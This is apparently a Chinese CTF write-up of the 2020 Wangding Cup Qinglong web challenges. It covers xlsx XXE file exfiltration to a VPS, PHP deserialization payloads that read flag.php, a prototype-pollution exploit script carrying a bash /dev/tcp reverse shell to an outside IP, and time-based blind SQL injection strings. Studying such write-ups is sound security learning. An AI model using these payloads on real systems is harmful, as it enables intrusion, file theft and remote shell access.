[网鼎杯 2020 青龙组] WEB

/ 0评 / 0

[网鼎杯 2020 青龙组]filejava

java题 也是我第一次做出java
一个利用xlsx xxe的题。卡了半天是在回显上,自己的VPS是windows。。。。
上传后发现有file参数,猜测存在任意文件下载/读取,

可以成功读到etc/passwd,因为是java题,读一下WEB-INF/web.xml
根据文件读一下相应的class
../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
CVE-2019-12415
参考到:https://misakikata.github.io/2019/01/%E5%88%A9%E7%94%A8EXCEL%E6%96%87%E4%BB%B6%E8%BF%9B%E8%A1%8CXXE%E6%96%87%E4%BB%B6%E6%94%BB%E5%87%BB/
随便搜一下就有很多利用方式
这里直接写了
把excel改成zip

修改content_types文件插入xxe代码并指向自己的vps
注意在源码中:

所以我们的文件名必须是excel-xxxxx的格式
在vps上建立file.dtd文件,写入xxe代码并回显给监听的端口

然后上传excel文件,在vps监听6666端口就有flag了


[网鼎杯 2020 青龙组]AreUSerialz

反序列化

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: ";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

链子简单,直接贴了
需要绕过is_valid()函数,因为protected类型的属性的序列化字符串包含不可见字符\00,会被is_valid()函数给ban掉。
php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了
读路径/proc/self/cmdline
得到配置文件路径
/web/config/httpd.conf
发现在web/html

在BUU,直接读flag.php就可以一键获得flag。
赛后还发现了一吨的新方法
将不可见字符\00改成空格也可以

这种方式可以绕过

#?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:10:"\000*\000content";N;}
#?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}
#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";N;}
这三种方式均可以。

[网鼎杯 2020 青龙组]Boom

前面都好算,最后这个大方程直接python sympy库秒了
import sympy  
x = sympy.symbols("x")  
a = sympy.solve([x*x+x-7943722218936282],[x])
print(a)
解方程就行


[网鼎杯 2020 青龙组]notes

是一个原型链污染的洞

<span class="hljs-keyword">let</span> id = req.body.id;
<span class="hljs-keyword">let</span> author = req.body.author;
<span class="hljs-keyword">let</span> enote = req.body.raw;
<span class="hljs-keyword">if</span> (id && author && enote) {
    notes.edit_note(id, author, enote);
edit_note(id, author, raw) {
    undefsafe(<span class="hljs-keyword">this</span>.note_list, id + <span class="hljs-string">'.author'</span>, author);
    undefsafe(<span class="hljs-keyword">this</span>.note_list, id + <span class="hljs-string">'.raw_note'</span>, raw);
}

这里先接受了post的一个author和raw和id
然后传入Edit_note函数。这里使用了undefsafe函数。
如果id传为为__proto__就存在参数链污染
借一下guoke师傅的脚本

<span class="hljs-keyword">import</span> requests
a = {<span class="hljs-string">'raw'</span>: <span class="hljs-string">'bash -i >& /dev/tcp/174.1.59.177/7000 0>&1'</span>, <span class="hljs-string">'id'</span>: <span class="hljs-string">'__proto__'</span>, <span class="hljs-string">'author'</span>: <span class="hljs-string">'test'</span>}
url = <span class="hljs-string">"http://f13d0fxixu474aad61123468000b395fba21a904678b4e4a.cloudgame2.ichunqiu.com:8080/"</span>
<span class="hljs-built_in">print</span>(requests.post(url+<span class="hljs-string">"edit_note"</span>,json=a).text);
<span class="hljs-built_in">print</span>(requests.get(url+<span class="hljs-string">"status"</span>).text);

所以直接反弹一个shell到vps上,读取根目录的flag即可


[网鼎杯 2020 青龙组]trace

是一个注入的题目,测试了一会儿,发现过滤了information
使用insert注入发现可以sleep。所以构造查询
',sleep(1))%23
然后尝试构造数据库长度:
',sleep(database()))%23
睡了三秒,盲猜ctf
因为过滤了information库,尝试使用sys库代替,发现一直返回mysql error。而且在测试过程中,发现每次环境只能接受20句查询,如果多了就不会继续执行了
flag一般最少32位,使用无列名注入也无法注入出来。就卡到这里了
赛后问了一下p3rh4ps师傅,他给了我这样的语句

"',exp(if((ascii(mid((select group_concat(a) from (select 1,2 as a union select * from flag)c),{},1))={}),sleep(7),100000)+10000))#"

中间部分是正常的ascii码比较,而最终会让mysql报错,导致语句不能插入到查询次数中,完成时间盲注(NBNBNBN)
114师傅是这样的语句:
if(ascii(substr((select 2 from (select 1,2 union select * from flag limit 1,1)x),1,1))=102, sleep(1),pow(999,999))
思路是一样的,让mysql报错,导致语句不能插入到查询次数中,完成时间盲注
赛后复现了下,学到了新的思路
师傅们tql

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注